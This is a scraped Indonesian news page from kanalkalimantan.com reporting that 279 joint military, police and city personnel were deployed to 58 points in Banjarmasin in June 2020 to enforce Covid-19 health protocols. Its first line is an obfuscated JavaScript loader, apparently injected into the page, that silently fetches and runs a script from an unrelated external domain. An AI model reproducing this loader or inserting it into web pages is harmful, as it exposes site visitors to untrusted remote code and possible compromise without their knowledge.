(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Meski pelaksanaan Kota Banjarmasin tidak dapat menerapkan new normal atau kenormalan baru, berbagai upaya pun diambil guna menekan penyebaran Covid-19 di Kota Banjarmasin.
Di antaranya, dengan mengerahkan aparat gabungan, baik dari unsur TNI-Polri maupun dari Pemko Banjarmasin seperti Satpol PP dan Dinas Perhubungan.
Nantinya, ada 279 personel gabungan diterjunkan menyasar 58 titik yang tersebar di Kota Banjarmasin. Seperti pasar, fasilitas umum, tempat ibadah dan pos-pos Pembatasan Sosial Berskala Kecil (PSBK) yang tersebar di beberapa titik.
“Kami berharap penegakan disiplin ini merupakan upaya kita untuk terus mengedukasi masyarakat. Bahwa Banjarmasin ini harus ada upaya untuk pencegahan dan penanganan Covid-19,” ujar Wali Kota Banjarmasin H Ibnu Sina usai apel penegakan disiplin di Balaikota Banjarmasin, Kamis (4/6/2020).
Dia berharap, dengan diterjunkannya aparat gabungan ke 58 titik ini, pemko bersama aparat gabungan dapat memberikan tindakan tegas agar kasus positif Covid-19 di Kota Banjarmasin dapat ditekan.
“Kalau tidak pakai masker, langsung berikan tindakan saja. Saya buat keputusan dan memberikan mandat kepada Dandim 1007 Banjarmasin dibantu oleh Kapolresta Banjarmasin, Kasatpol PP dan Kadishub Banjarmasin untuk memberikan penegakan hukum termasuk penegakan hukum UU Kesehatan,” tegas Ibnu.
Dia mengatakan, berdasar Perwali yang sebelumnya mengatur PSBB lalu, sanksi yang diberikan, yaitu hukuman fisik seperti push up.
Sementara, Dandim 1007 Banjarmasin Kolonel Inf Anggara Sitompul mengakui, sebanyak 279 personel yang disebar di 58 titik ini tak semuanya dapat tercover.
Sehingga, solusi yang diambil, yaitu dengan mendatangi beberapa tempat, seperti rumah makan maupun musala.
Lalu, bagaimana jika aparat gabungan mendapati ada masyarakat yang tidak mematuhi protokol kesehatan?
“Kita tidak melulu menerapkan sanksi, karena sanksi itu opsi terakhir dari setiap kegiatan,” kata Kolonel Anggara.
Anggara menambahkan, aparat gabungan akan memberikan edukasi kepada masyarakat untuk mematuhi protokol kesehatan. Namun demikian ada batasan-batasan seperti jika memungkinkan diberi sanksi tindakan disiplin.
“Ketika perlu kita berikan sanksi. Dengan tujuan untuk menyadarkan, dan itu penting,” katanya.
Penerapan sanksi disiplin ini sendiri diberikan sebagai opsi terakhir. Atau lebih ke sanksi moral agar masyarakat harus disiplin dalam menerapkan protokol kesehatan. (kanalkalimantan.com/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.